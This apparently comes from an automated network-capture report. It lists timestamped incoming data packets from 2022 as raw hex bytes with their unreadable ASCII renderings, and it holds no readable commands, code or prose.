2c 99 20 61 86 72 1b 19 c7 a5 0b a7 b4 6d 92 76 10 79 1d 70 47 be 29 dc 5c ac c6 3b 62 62 49 d8 4b 00 38 e4 7e 03 fc 
e2 9f e6 32 30 62 f9 18 e7 00 81 9c e4 fe 95 a8 2d 01 c8 08 c7 39 c3 11 8f a8 e7 b5 57 92 c8 cb 8d c0 03 92 48 07 19 c7 
f3 34 5c 5a 94 b6 48 e9 b8 f9 83 00 fc a4 75 cf d7 a7 b5 32 3b 45 8d 02 75 63 82 71 c0 fc 7e 9f fd 6a d3 68 d7 8f 30 12 7a 
b7 5e bd 39 14 c9 2d 86 ec 71 96 23 3c e7 fc 9a 63 eb 73 3d ed d9 59 01 cb fc a4 fc b9 ff 00 1c 0f ca 96 5b 66 65 05 1e 
4d c0 71 b7 38 e4 fa e7 fc 8a b5 75 6c 8c 0f ce 72 fd 39 
Data Ascii: lrs=xMjH ,WIJ,rq)LL[Cc=8Lf>, armvypG)\;bbIK8~20b-9WH4\ZHu2;Eucq~jh0z^9-q#<cs=Y[feMq8ulr9

2022-08-11 03:42:55 UTC 3192 IN Data Raw: 35 17 51 aa 1d 94 70 d8 e3 98 c6 0f a9 00 9e 95 08 12 a3 3a e0 65 5b 1d 72 70 79 ce 4f 7f c2 9c f7 2d f6 81 bf 
85 ce 47 38 fc 3a d5 89 a6 12 73 92 e0 13 c0 39 e0 75 1f e4 d1 76 36 91 00 0d b0 17 24 29 27 6e 5b 3d 87 38 14 e9 04 fe 
7e e0 73 1f 1c 9e 46 4f a8 ef 4d 8e 6d ca 25 11 84 56 c6 07 42 31 c6 4e 7b 53 1e 46 92 62 03 fd df e2 f6 c6 47 39 a6 1d 
6c 58 66 c2 00 be 5e c3 c9 db 90 0e 0f a7 5a 93 cc 95 14 c6 8a bb 71 8c 9c 7e 9c 8e 9f 5a aa a5 b6 48 dc 0d 83 24 1c 8c 
fb 7a 91 fa d3 7f 74 10 a1 c9 90 ae e2 bb 89 1d 7a 67 8a 43 b9 34 d7 41 14 ee 04 93 db 24 93 f4 e4 fe b5 25 bc c8 6e 01 
51 86 71 cc 85 79 00 67 80 07 af bd 52 13 6e 73 80 06 f3 82 c1 7d 32 31 48 7e 44 28 49 47 4c 9c f2 4f e0 3d e8 b0 27 b2 
46 8c fa 84 6a db 11 f2 73 9e 7a 70 7d f1 44 77 30 6c 
Data Ascii: 5Qp:e[rpyO-G8:s9uv6$)'n[=8~sFOMm%VB1N{SFbG9lXf^Zq~ZH$ztzgC4A$%nQqygRns}21H~D(IGLO='Fjszp
}Dw0l

2022-08-11 03:42:55 UTC 3248 IN Data Raw: 82 63 d8 33 96 19 cf e9 48 19 19 fc b4 18 c2 e3 24 75 1e b5 31 b8 c2 10 51 76 80 79 03 27 9f 4e b5 5a 57 3b 
8e cd ae a7 8e f9 c0 c7 18 fe b4 c8 1f 2c 45 07 ef 71 9e cc 31 d3 db 14 8a ce 8b 80 ea fd 8e ec 1e 33 8f c2 aa b4 0d 38 fd 
ea 6c 27 e5 38 6d a4 03 dc 7a 71 f8 52 c6 b1 ac af 9d a5 41 da 47 d3 d7 df 9a 76 11 34 51 85 5d 80 04 89 81 23 81 91 eb 
eb 4d 97 3c 07 23 60 00 8c 29 07 83 d4 e0 d5 65 31 b4 9b 41 23 19 dd 82 73 d7 a8 f7 34 49 36 d9 3e 49 3e 5d d9 1b 81 
27 38 f4 cd 32 6f a5 87 f2 cc 1d 24 5f 9c f1 91 df de 89 a2 f9 b3 18 5d c3 3b 9b b8 f5 c0 ef 51 2c ad 2a 90 30 e5 32 d9 23 
18 ef 48 6f 25 47 88 2f 94 a3 b6 5b b1 e9 c0 f7 a0 7e a2 e0 95 1b 43 48 09 d8 d8 c0 c9 f5 39 f4 e9 40 d3 e2 69 b6 18 dd 
7e 51 9c 1e 9e d9 cd 24 88 cc 80 82 a0 b1 23 76 e0 7b 
Data Ascii: c3H$u1Qvy'NZW;,Eq138l'8mzqRAGv4Q]#M<#`)e1A#s4I6>I>]'82o$_];Q,*02#Ho%G/[~CH9@i~Q$#v{

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 3287 IN Data Raw: 2a 89 23 10 59 06 32 54 29 ce 06 49 cd 73 7a bd d3 58 c8 92 e9 97 13 02 08 12 2b 72 43 03 90 41 c7 00 f5 18 
ac dd 12 69 6f 26 92 51 18 2a 0a 96 94 ff 00 0e 4e 00 c1 eb 9f 4a ea 34 ad 13 cb ba 37 23 ca 2a b9 57 dc 7e 45 dc 31 c8 
e4 8f c8 e2 ba 1c 63 87 d1 ed d8 51 8b 93 2b a6 a3 79 7d a5 c7 35 fc e6 48 e5 47 91 5a 49 72 07 f0 e4 63 be 78 2a 6b a9 
f0 2f 86 f5 08 6d e2 d4 ad 63 1b 0c 2a cb 70 18 2b 6d e7 21 97 b8 cf 03 bf 35 c2 6b 76 cb a5 5b 48 90 dd c7 20 c8 99 22 
84 96 0a 09 ef db 83 d2 bd 1f e1 f5 c6 a1 a9 68 71 2f 96 49 8d 59 12 48 4a a2 98 d9 79 e7 38 1c f5 ef d3 8a e3 c6 cb 96 
87 3c 2d 66 ce 8a 71 f7 f9 59 91 7b 2d fc de 36 d3 18 de 79 b6 a9 fb 81 e5 86 70 01 38 21 80 e5 73 eb f4 af 4d b4 f0 ea 
da c8 97 d7 c6 39 65 86 65 91 14 e3 20 8c 10 cc ad 83 90 
Data Ascii: *#Y2T)IszX+rCAio&Q*NJ47#*W~E1cQ+y}5HGZIrcx*k/mc*p+m!5kv[H "hq/IYHJy8<-fqY{-6yp8!sM9ee 

2022-08-11 03:42:55 UTC 3390 IN Data Raw: c1 61 86 65 20 01 f3 63 23 8f 70 2a 0b a8 9b 61 37 18 11 ed 24 ae ec 10 31 d3 8e 9f d2 8e 62 ad b9 9e b6 fb 
2d c3 b6 0e 39 e0 e7 2c 7b 01 e9 fa 54 af 1f c9 ba 3e 06 49 21 79 ce 38 c6 01 ff 00 f5 55 d1 6c 93 3a 05 1e 59 e8 db 88 
66 24 0f ba 07 51 81 49 b1 e3 76 20 ab ab 1c 61 78 e7 9f 5e 3f 9d 20 29 aa 6f 5d 86 20 80 9d a4 31 e0 0f 62 7f 91 c5 46 
20 8e 25 44 87 73 a1 6e 76 f4 e7 81 c6 79 c7 5f d3 8a ba 0d bc 57 07 79 3b e4 2d 83 9e 3e 98 a7 cf 76 ab 88 b7 83 2a f3 
e5 ee da 40 f6 c7 f5 a2 e5 2b 34 67 c9 0c 0b 22 10 4c 6c 01 66 0a 0e 3f 11 eb ed 50 cb 09 58 7c ce 3c b0 03 a2 9c 7d ee 
bc d6 9f 98 1d 50 04 69 07 03 00 b0 ec 32 46 31 9f f1 a2 7b 69 63 54 78 cb 23 37 25 5b 07 e5 f4 fd 7a d5 5c 9e 5b 99 6a 
91 36 c8 be 5c 1f 9c f9 43 ee e7 b7 63 4f 9a 08 a2 f9 0a 
Data Ascii: ae c#p*a7$1b-9,{T>I!y8Ul:Yf$QIv ax^? )o] 1bF %Dsnvy_Wy;->v*@+4g"Llf?PX|<}Pi2F1{icTx#7%[z\[j6\CcO

2022-08-11 03:42:55 UTC 3406 IN Data Raw: 9b 0f e6 0e 1c 9c 02 ca 39 55 07 39 07 ae 05 6b 87 4e 50 49 bb 8e 5e ba 17 fc 53 7f 66 2c e3 7b 5d 4e 5b b7 
95 48 f2 e4 90 0d ca 4f 00 01 82 08 f5 f5 cd 71 0d 6c 77 12 b6 eb 3e e4 50 f1 af 54 e8 73 9e 9c f7 c6 48 1e 95 bb 3d 9d 
bd fd bf d8 52 50 64 04 c9 e6 98 73 b9 9b be 41 ca fa fa 1a e9 74 ff 00 0a c1 a7 6a d1 34 37 77 12 b2 c7 bb c9 93 20 b3 
05 25 dc f6 03 00 60 73 91 5d d1 a9 0c 34 39 7a 8b e2 69 23 cc 2e 2d 45 d6 65 84 04 4c 31 e5 b7 32 90 32 41 38 fa 9f c3 
ad 32 1d 3f 52 8e 38 d1 22 97 12 3f c9 20 8d 8b 15 04 60 8c 13 eb d6 bd 96 1d 0a c7 4d b8 fb 5a db c4 11 d7 ce 99 d8 79 
81 cb a8 dd 80 4f dd e0 9f a1 aa bf f0 92 25 b3 2d ad ad cd b2 13 bf 75 c3 45 b2 32 b8 18 55 27 a0 1d 70 3a 9a af af b9 2f 
72 17 2d c7 4d 4e 23 52 d3 f5 58 34 3b 0d 54 dc 35 bd 
Data Ascii: 9U9kNPI^Sf,{]N[HOqlw>PTsH=RPdsAtj47w %`s]49zi#.-EeL122A82?R8"? `MZyO%-uE2U'p:/r-MN#RX4;T5

2022-08-11 03:42:55 UTC 3438 IN Data Raw: 3d bd c3 c9 34 51 80 a2 57 75 e0 06 63 83 83 82 07 5e bd 2a b7 8a 35 7d 57 4e b5 d1 a2 b6 45 11 bc 61 5a 
59 15 55 9c 05 f9 b8 1d c2 9e b9 18 e3 d6 bb bd 17 c3 90 e8 fb e5 9a d0 dc e1 42 c6 63 8d 5d d5 c8 e1 83 0c e1 81 e0 81 
d0 62 a0 d2 2e ee 3c 5d 0e a3 65 77 61 8b 8b 09 54 24 b2 05 c2 82 72 70 18 1e 70 39 e7 9e 2b 05 8a 84 65 cc a3 78 c7 
f5 d0 b5 77 a2 3c df 50 ba d4 3c 49 ac 5a e8 ba 24 57 16 db 21 5d 9e 61 55 21 8b 1c 9c 81 f3 75 e7 19 e8 79 af 44 d0 be 
12 da 78 37 45 bb 96 fc ff 00 6a 6a d2 61 e4 8e 39 00 08 40 c1 c2 9e 73 cf 3c fd 2b 7b 50 d5 e2 58 52 e3 4e b2 17 6c b1 
f9 25 96 2c c8 b8 f6 c6 40 27 d3 18 f7 ac fd 73 c6 70 59 6c 7b d2 04 c9 c2 7e ef 73 24 c4 00 37 63 1c 10 72 7a e0 fa 74 
ac 6a e3 2b d6 51 a7 46 3c b1 fc 59 b2 84 7e 29 6e 3a 48 8c fa 
Data Ascii: =4QWuc^*5}WNEaZYUBc]b.<]ewaT$rpp9+exw<P<IZ$W!]aU!uyDx7Ejja9@s<+{PXRNl%,@'spYl{~s$7crztj+
QF<Y~)n:H

2022-08-11 03:42:55 UTC 3685 IN Data Raw: 83 27 ef 0c e3 a8 23 ae 31 56 f4 ff 00 0f 5e 78 f5 82 e9 16 f1 c1 3c 2a c6 6d d2 6c 8d 63 1f c4 cc 7e e8 03 d7 
bf 1d eb 47 2f 60 ae a5 ca bb 87 2a a8 9a 68 ef 6e 3f 69 1d 6a ef 52 b6 17 fa 8c da ae 97 6e c2 39 2d 8f c8 d3 21 60 cc cc 
7f bc 48 c6 7a 81 c0 c5 7b 37 c2 8f 88 da 3f 8a a3 f1 2e aa d1 4d a6 3b c0 91 ac d3 2e 4a 2b 31 2c a8 4f df c8 f5 3c 0c 0e 
71 9a f2 5f 0d f8 2a ce de 38 9b 53 b4 d1 e3 78 ad 15 57 ec cd e6 b3 63 70 2e 72 31 b8 e7 24 9c 90 3d 2b 7b 58 d6 ff 00 
b1 ed 92 c7 4d 8e 47 0b 22 2e 6e 08 08 48 5d aa 0e 00 f6 e3 d3 8c 57 8d 5f 35 52 a8 a3 4a 1c d2 ee f6 d7 43 47 86 8d af 
b7 a1 d2 6a fa 25 8a 6e d3 74 ad 76 de e3 49 12 9b cb 61 72 00 9d 27 2c 1d 50 a9 25 b0 0e 48 39 c6 6a 8f 88 7c 2b 14 
9a 66 a3 2e 9c f2 c7 fd a7 73 e5 7f 66 5b 46 bb 62 
Data Ascii: '#1V^x<*mlc~G/`*hn?ijRn9-!`Hz{7?.M;.J+1,O<q_*8SxWcp.r1$=+{XMG".nH]W_5RJCGj%ntvIar',P%H9j|+f.sf[Fb

2022-08-11 03:42:55 UTC 3701 IN Data Raw: fb e4 30 6c 8e 79 44 ac 15 72 70 70 71 cf 1d 40 3d 31 9c 57 af 53 2d 78 35 1a 8d 68 bb 5b f1 66 4a a3 9e 9d 
4c dd 3e 39 b5 0b 3f b2 07 5b 6b 1b 0b 79 26 6b 78 e5 da cf 26 09 0c 77 0c b1 eb db 00 fe 35 e7 7e 3f 9e ca dd 2d 8b fd 
aa 4b 89 23 0c cd 21 c0 89 8f 54 00 f2 d8 e9 9c 00 79 e3 15 ea 3e 25 f8 8d a7 6d 92 2d 1a 01 3c ed b9 ee 0b 40 a8 70 06 
30 ac 06 e2 78 cf 24 f5 af 10 d7 be d9 e2 4d 6a 57 31 79 32 07 2b 25 b9 1f 70 0c 9e a7 03 a0 f5 cf 15 ef 65 70 a9 2a be 
d6 a2 e5 5f d7 cc e6 9e e9 26 67 68 26 1d 43 5a b3 b4 bb 73 2d a4 b2 08 c0 e3 8d dc 0e be 86 bd e6 db 50 b5 f0 7b 19 
5c 9b 87 11 28 c5 c6 d1 1a 80 b8 00 11 c9 c9 e8 4e 7b d7 cf 72 2c 7a 5e d9 10 b2 4c 08 29 86 20 a9 07 d7 d7 de 8b bf 
14 6a 37 30 a4 4f 3f c8 23 f2 fa 75 f9 8b 1c fe 26 bd fc 4e 12 
Data Ascii: 0lyDrppq@=1WS-x5h[fJL>9?[ky&kx&w5~?-K#!Ty>%m-<@p0x$MjW1y2+%pep*_&gh&CZs-P{\(N{r,z^L) j70O?
#u&N

2022-08-11 03:42:55 UTC 3749 IN Data Raw: 0b b4 f2 3a 9f a0 3d 73 48 35 d0 6b 4a 8c db 1e 01 85 c8 0d c9 3f 42 38 a7 89 1d b9 91 08 8c 47 c7 00 64 83 
d0 e7 9e 29 02 c5 35 c0 0a 4e 02 e5 e1 5d bc 13 d3 3d b8 ed 51 91 1e d7 28 98 dc 54 7c a0 8c 11 d7 24 64 7e 59 a6 2b 
db 62 d2 5c 89 12 42 3c a2 cd b4 f5 03 8c f2 31 51 49 2f 9b 87 62 b2 01 97 c8 3b 49 e7 a0 5e df 4a 63 2a 22 3e 5c 26 73 
b4 2e 49 db 9e 49 38 a6 bc 4a c9 1b 42 e6 36 52 30 73 c8 c7 3c 9c 63 a7 e3 41 5e 42 89 84 5b d5 03 6e 24 6c 0a 07 ca 
0f 27 20 1e 9f 8f bd 4e 65 52 88 8f 3e 57 1b be 65 04 12 4f e7 8a ad 6b 1b aa 6e 7c f9 80 e1 c1 e0 91 d8 83 c9 e2 9e 63 
32 79 60 46 76 33 6e 18 00 81 cf d2 91 3b 2b 13 49 2c 53 36 d4 22 45 18 62 63 e3 f5 1c f3 e9 4f 51 6e cf 9c 61 80 c6 49 
07 27 af af ff 00 ae a1 8d 25 0b 98 c2 83 cf de 03 92 3a 1c 8c 
Data Ascii: :=sH5kJ?B8Gd)5N]=Q(T|$d~Y+b\B<1QI/b;I^Jc*">\&s.II8JB6R0s<cA^B[n$l' NeR>WeOkn|c2y`Fv3n;+I
,S6"EbcOQnaI'%:

2022-08-11 03:42:55 UTC 3765 IN Data Raw: da 39 0c 09 18 00 e3 af 43 df 35 d1 86 a9 05 06 9e ef 5b 1c ae d2 57 46 3e bf a5 be 9f f3 f9 85 ed 27 2b 20 92 
20 4f 60 4f 7c 63 27 1d 7b 54 ba 2e 9d 3e ab ac 5b db 58 5c 7d 9f 2d e7 38 90 85 21 54 ee cb 67 d0 8c 85 ef e9 cd 7a a5 
b4 f7 7a f4 37 70 fd 8b 4f 1a 2c 2e f2 c3 21 91 54 2a 95 da 22 6d a7 9e 99 c8 cf 35 62 db c1 7a 3c 1a 4d 86 bc 0c da 3e 
b5 34 4c aa a1 f7 f9 ec 41 5c 94 c6 79 04 10 01 04 8f a8 a8 79 87 24 79 66 b5 7a 77 fb ff 00 50 51 6d 58 e3 23 d5 35 0d 
5d 92 3d 42 79 6d b5 4b 9b c2 d3 5d b0 ca c4 01 52 0a aa 81 b0 6d c6 3d 40 ae ff 00 c4 1e 15 48 74 b8 85 de a9 24 fa 8c 
d6 8b 73 25 cd f9 6c b6 40 20 02 0e 77 11 fc 24 00 a0 0f 5c d4 fe 1f 97 4c 3a ae a7 66 8f 71 ab dd 5f 5b 6c 48 cc 40 6e 91 
54 34 99 e4 ed 1b 73 c9 04 01 c6 45 4d ae eb da 67 
Data Ascii: 9C5[WF>'+  O`O|c'{T.>[X\}-8!Tgzz7pO,.!T*"m5bz<M>4LA\yy$yfzwPQmX#5]=BymK]Rm=@Ht$s%l@ w$\L
:fq_[lH@nT4sEMg

2022-08-11 03:42:55 UTC 3817 IN Data Raw: ac 6b 37 f7 5a c5 cb cf 75 3f 9f 29 1f 3c 8d d4 fd 7d 6a a4 40 41 0e 31 8d 9c 93 93 8e 7b 53 a7 4f 96 09 75 0d 
14 6c 88 56 4c b0 56 e0 af cb 81 f4 ae a7 c2 fe 07 d4 f5 9b eb 08 e7 b6 b8 b6 d3 ee 59 d0 cc 46 00 da 32 4f 3c e0 71 fc 
ab 2b c3 9a 1c 9a f5 f6 db 69 e1 89 2d d5 a6 79 65 38 50 a0 80 3b 72 4b 10 31 dc 9a f5 cb cd 66 d8 e9 36 82 f6 e2 59 f5 
68 fc cd b1 00 cb 12 c9 8c e3 0a 39 63 92 73 d3 35 c1 8c c5 4a 95 a9 d3 dd fe 1d 84 d2 89 63 52 f0 cd 9d d7 86 53 4a d3 
e5 6b 98 6c ff 00 76 f2 09 02 8f 30 fc c4 f0 3e 7d a0 72 7a 93 f4 ab 9f 0f ef 3f b2 f4 78 ec 1e 70 f2 45 bd ca ed f9 89 ce d1 
18 c9 e7 3d 0f 4c 8a e2 3c 4f e2 57 3a 7d a3 e8 fe 64 1a 6a c6 b0 34 4d 18 c3 bf 72 c4 ff 00 11 19 f4 38 e9 55 7c 19 f1 1d 
b4 55 5b 29 64 f2 f4 c7 92 49 24 90 0c be f2 
Data Ascii: k7Zu?)<}j@A1{SOulVLVYF2O<q+i-ye8P;rK1f6Yh9cs5JcRSJklv0>}rz?xpE=L<OW:}dj4Mr8U|U[)dI$

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 3885 IN Data Raw: 4a a3 76 3a ed 07 39 e4 e3 1c f6 a6 8b fb 87 b0 b7 b8 82 41 01 99 32 8b 2a 83 bb 39 dc 0f 5c 03 d4 77 ac fd 
5b 5a 61 0a 29 cc 6d 90 65 55 c0 12 e7 d0 1e 98 ed c5 78 d4 69 fb db 6a 1a b2 6d 47 55 48 6d 63 b4 84 49 25 d2 12 17 
cc 03 31 e4 ff 00 3f e9 59 f2 de dc ee 12 ac 44 17 2c 3c c1 81 f3 0e b8 3c 74 26 b2 e3 32 5e 5c 4b 39 92 40 e9 b4 ae 4e 
77 63 8c 6e e7 9f 4f 5a da d2 cc f7 7f 63 54 79 58 5b 5c 2c ae 54 64 05 24 64 37 e5 db 39 eb 5d 92 a5 08 27 a9 72 b9 d9 
dc f8 a5 fe cd a5 b1 8e 69 d8 c5 ba 63 21 25 e4 18 c0 c6 33 8c 91 e9 59 fa ac 2b 76 a4 59 5a 0d 8e 42 81 17 ca c7 23 f8 
89 3d 8f 04 1e 6b 47 53 d4 ee 34 bb 18 e4 b1 82 38 12 59 99 d0 64 f9 b8 3d 31 9c 9c 1f ca b1 9f 50 61 a2 c6 cf 3b 19 5d 
dd e4 db 81 b0 9e 40 24 f7 3c ff 00 3a f1 a8 c7 97 58 2b 6a 
Data Ascii: Jv:9A2*9\w[Za)meUxijmGUHmcI%1?YD,<<t&2^\K9@NwcnOZcTyX[\,Td$d79]'ric!%3Y+vYZB#=kGS48Yd=1P
a;]@$<:X+j

2022-08-11 03:42:55 UTC 3901 IN Data Raw: 22 b4 68 aa 8b e7 2b b3 9c 30 23 8c ff 00 85 7a 97 87 7c 3f 3a 78 76 c2 ee e2 dd 4c 0a 1a 51 71 23 07 1b 5b 
20 85 50 40 dc 07 cd c9 c9 e2 bc dc 43 6b 03 c7 02 3b 05 62 77 5c 6d 23 9f 42 bd c7 bd 77 9f 0f 3e 26 ae 85 21 d0 b5 57 
13 e9 cf fb 85 92 5f b9 0c 7b 58 60 28 1d 4b 37 de eb 8a cf 18 aa 4a 9f 35 35 7b 6b f2 26 69 d9 58 a9 ad 5a 5d f8 5e 34 
36 93 cb 67 f6 8d d1 e6 41 b5 9a 3c e4 1f 60 47 a7 06 b1 b5 8d 6a 1d 52 d6 05 4b 78 e3 75 40 8d 2f 19 38 e3 3c 71 d7 9f 
f1 ae db c6 f6 d6 77 da d9 b7 bb fb 55 b4 16 c9 14 1f 6a 90 ef f2 b0 a7 3b 94 70 a0 e3 01 7a 0e b5 c6 d9 78 74 dc 43 78 
06 7c d4 da 56 d7 fe 5a 38 3d 19 47 4c 7e 35 96 1e 70 94 14 e6 b5 32 72 ea 60 ad ce 18 c5 9c be 07 5e 47 f9 fa d5 9f 23 
64 48 5a 50 0b b8 51 11 24 39 cf 7f 4c 54 52 5b 4f 1d c2 
Data Ascii: "h+0#z|?:xvLQq#[ P@Ck;bw\m#Bw>&!W_{X`(K7J55{k&iXZ]^46gA<`GjRKxu@/8<qwUj;pzxtCx|VZ8=GL~5p
2r`^G#dHZPQ$9LTR[O

2022-08-11 03:42:55 UTC 4007 IN Data Raw: 96 33 0f 9a 8e c3 79 e7 cb 3b 89 fa 13 8a bc d3 4e 89 19 87 02 03 c9 c9 c8 18 1c 00 b8 ef f8 54 17 57 2a c8 7c
f9 e3 91 90 10 38 da 41 ec 07 a1 f5 34 96 b3 2c 8c 23 90 47 6d bb 2a ab e6 17 00 f5 c6 ee 3f 1c 55 79 99 b2 4f 2a 7f de 
10 14 c6 a7 79 50 02 f3 8f c3 9c 1f 4a 73 34 13 db 0f 36 38 f3 1f ca 0f 52 73 c6 49 e4 75 eb 8a af 21 82 5c 89 0c 61 13 b3 
37 1d 3b 72 49 1f 5a 96 d5 ed da dc ca d2 42 f1 8e 1f cb 5c 8c 67 8c 9c 1f cf 15 25 26 ac d3 2c 79 8d 0e 14 27 cc bf 74 15 
ce 07 a7 1d 69 3e d7 3f 96 8f 19 d8 1c 9d de 5a ee 1c 67 a9 27 8f ca a0 20 b4 72 28 9d 62 56 51 b6 65 62 54 9f a6 07 4f 
f3 9a 65 b4 12 49 0c 82 5b 85 75 e3 3b 41 25 b0 73 c7 a5 16 41 7b 68 4a 27 32 5b 2c a9 14 52 49 92 58 05 50 39 e3 71 
51 c9 cd 56 bb bd 55 f9 25 f2 c8 5c 20 c0 20 f3 fc 
Data Ascii: 3y;NTW*|8A4,#Gm*?UyO*yPJs468RsIu!\a7;rIZB\g%&,y'ti>?Zg' r(bVQebTOeI[u;A%sA{hJ'2[,RIXP9qQVU%\  

2022-08-11 03:42:55 UTC 4095 IN Data Raw: 92 a5 2a 69 5d ee 27 81 2c 58 5c 4b 64 fa 04 50 59 c9 b5 ee 26 99 a4 24 05 20 f5 3d 09 1f 90 cd 13 e9 f7 fa f6 
b9 a8 4d 20 85 ed 24 6f 36 32 aa 00 78 d4 10 bb 71 9c 74 1c 1e 6a be b1 e2 f9 3c 31 ab 24 53 d9 5d 97 49 19 a4 55 60 
ec e0 61 88 61 9f 46 cf 4c 76 ed 5d 14 37 97 3a bc 93 c1 69 19 b4 8f 51 42 d6 a6 62 57 9c 1c 3a 0c fc aa 0a 9c e4 f1 f8 57
9d 5a b5 59 49 e2 1f 55 fd 58 f5 a1 14 a3 ca d9 e6 7e 2e d4 ed 45 dc f6 d2 db b4 a8 62 51 e5 48 70 61 f9 b7 10 58 72 49 
23 27 b9 c7 5c 8c 56 80 90 47 0c 66 d6 ce e2 58 05 bf 97 3d fa c6 4b 16 da 73 86 3c 8c 28 f5 e3 3d ea b6 bb 6d 6b 07 88 
6f 62 37 22 38 ee 59 59 26 da 09 1c 72 01 e8 46 e3 d3 df 3e b5 b3 7b 7d ad f8 52 f2 f3 c3 92 a2 bc 0a 15 24 55 22 41 1b 
93 c1 05 78 63 9e 58 67 19 c8 ed 5d b2 9f ee a3 cb af 
Data Ascii: *i]',X\KdPY&$ =M $o62xqtj<1$S]IU`aaFLv]7:iQBbW:WZYIUX~.EbQHpaXrI#'\VGfX=Ks<(=mkob7"8YY&rF>
{}R$U"AxcXg]

2022-08-11 03:42:55 UTC 4111 IN Data Raw: 78 c1 1d 70 4d 71 1a 2f 88 e5 f0 ee bd 6f 36 a1 14 c2 68 5e 39 12 38 d4 90 55 48 2c 19 7f dd cf 35 fa 36 0a a6 
3e 31 bf b6 bb 5d 1d 99 e2 54 50 bd f9 74 38 68 3e 0f 78 c3 43 d5 1c dc e8 57 65 12 19 19 a4 8a 3d e8 06 d2 33 91 91 ef 
5e 7d 71 6b 35 ac 8a b2 c6 d1 9d c3 0a ca 54 fe b5 f7 37 fc 34 7e 97 7d 75 72 96 ba 63 68 da 63 ba a9 70 06 4e 46 06 41 
c0 2a 7b d5 f9 3c 35 e1 3f 8c 9a b7 f6 16 bc 96 f1 c9 75 b6 2b 5b 9b 70 be 6a 30 01 81 04 76 ed 8a f4 e9 67 d5 e9 3b 62 
e8 d9 77 44 3c 34 25 f0 33 e0 ed 4e 26 1a 84 a4 7d d6 6d c3 df d6 93 52 8d e3 91 78 f9 16 30 3b 67 22 be bf f8 97 fb 01 
eb ba 5d c4 97 7a 0e a3 6d a8 5b 00 48 56 93 69 e3 39 50 0f 7e 38 f5 af 09 f1 5f c0 5f 19 68 30 a2 4d a5 5c 4b 33 48 62 
78 62 84 9d 8c 3e e8 dd d1 b2 0f 63 c1 e2 bd ea 19 b6 
Data Ascii: xpMq/o6h^98UH,56>1]TPt8h>xCWe=3^}qk5T74~}urchcpNFA*{<5?u+[pj0vg;bwD<4%3N&}mRx0;g"]zm[HVi
9P~8__h0M\K3Hbxb>c

2022-08-11 03:42:55 UTC 4190 IN Data Raw: 41 54 13 19 dc 57 23 f8 88 cf 1f 85 25 d6 db 9c 44 e2 58 ae d7 01 58 6d 38 1e a4 70 70 47 a0 a8 f2 b2 43 24 
8e f1 6f 47 c6 32 c4 00 3d 09 fc 69 a2 5d ee 40 fa 93 2b 6c 00 3a 2c 9f 33 34 6c 48 19 f5 ec 3d 05 4e ad fb bf 35 bf 77 08 
70 36 ac 7b 43 67 b9 1c 71 8a b1 b4 c6 be 6a b8 9e 16 2a 44 6b c8 27 39 e9 8e a3 f2 a8 e5 48 cb 83 30 90 ab e4 02 ac 0f 
4e b9 cf 6a 01 76 64 12 cc d1 dd 46 f0 19 1d 25 07 7b 42 a1 b6 67 8f bc 07 e5 de a0 28 e2 e1 21 52 d7 11 93 90 43 67 00 
77 39 1e dc d5 c8 64 81 e1 91 0a 48 91 38 da 09 23 71 f4 e9 db fc 6a 3b 58 1a 3f 32 27 b8 61 6a dc ed 94 96 d8 31 83 b7 
b9 06 91 37 b6 c5 63 18 bc bc 29 e4 37 98 14 3a 96 90 e3 83 c8 1c 63 22 ad dd 5c 48 8a 41 89 b3 1f 5c 82 07 38 c9 07 8f 
ca a9 c2 f6 d1 c8 e8 be 74 b1 20 c8 55 72 33 fe cf 38 
Data Ascii: ATW#%DXXm8ppGC$oG2=i]@+l:,34lH=N5wp6{Cgqj*Dk'9H0NjvdF%{Bg(!RCgw9dH8#qj;X?2'aj17c)7:c"\HA\8t 
Ur38

2022-08-11 03:42:55 UTC 4206 IN Data Raw: 95 8a ee ce e4 1d 09 3c e7 b8 07 9a ec 7c 19 aa 8d 5f ed 30 ff 00 6a d9 db c3 6f 1b 4c 21 d4 e5 68 fe d2 a4 e5 
91 71 c0 90 e0 2f 07 19 af 3d 9a 65 d1 f5 59 f4 db 3f ec f9 ec 23 2c 63 8a 68 72 e7 76 06 c6 c8 07 71 18 fa 7a d3 2c e6 9a 
4b c8 2e 20 d3 96 ee 29 40 8e d0 a9 6f f4 7d a3 73 32 93 c7 a9 03 ae 47 4a de a6 1e 15 21 a2 df fa f2 26 2d a7 ae a7 a9 
6b 50 5d db dd 5b 58 5a 5b df 41 1c 89 14 d3 c3 10 60 e8 8c b9 05 89 3c 29 c7 18 24 0e b9 cd 67 5d ea d3 ea f7 3a 66 8b 
28 fb 25 f6 96 64 4b 7b 8b 85 59 9d a4 e5 d5 83 11 9e 83 03 39 c6 06 0f 63 95 a2 78 e3 56 bf b3 b9 99 23 6b d8 0c 0c 26 
86 39 d9 cc 28 ac 4a 99 54 8c 00 49 e5 78 1c 74 14 d8 a3 f2 96 ea 09 ad a2 b9 92 de 68 ae cc cb 21 2c 61 9a 23 82 a4 
30 ca 86 1f 77 b1 ef 5e 5b a0 e3 a4 a3 b6 da f5 db f5 
Data Ascii: <|_0joL!hq/=eY?#,chrvqz,K. )@o}s2GJ!&-kP][XZ[A`<)$g]:f(%dK{Y9cxV#k&9(JTIxth!,a#0w^[

2022-08-11 03:42:55 UTC 4207 IN Data Raw: 4e 56 70 7a a2 7d 96 e5 e1 8f 2f 12 b1 55 2c 00 24 13 c1 c7 bd 39 66 02 38 c7 ca 85 4b 6e 3c 64 fb e6 ba db 
2f 06 de 78 9a f2 ee 69 bc a8 d2 de 36 6f 2e 36 1b e5 20 61 41 19 e0 13 df f9 d5 3d 4b c0 b7 9a 1e 93 0d f5 db f9 11 ad 
d7 d9 e4 2c a7 6a 03 fc 44 fe 7c 57 b9 1c 45 2b a8 39 6a 0e 2f 74 61 ce b2 47 e5 96 05 0c bc a0 6e 8c 32 7e 60 47 d2 a3 
8d d1 5c 09 53 00 12 32 2a 3b ab 88 85 fc ab 14 a1 d5 5b 60 93 1c 1f 42 2a bb ca e5 c8 3c a9 39 c7 bf 7a eb e8 4c 55 99 
a2 5b e5 cc 47 8e 3a 1c f1 db 35 3d 9b 47 0c d2 3c f1 07 38 ca 86 c8 c1 1d eb 3e 02 fb 40 40 77 90 70 17 93 81 c9 e0 57 
a6 f8 0f e0 5f 8c bc 75 a9 59 5a 5b 59 7d 9a 3b a5 59 16 ea ed b6 c6 b1 b0 66 57 62 32 76 e1 4f 6e b8 ae 4a f5 a9 61 e0 
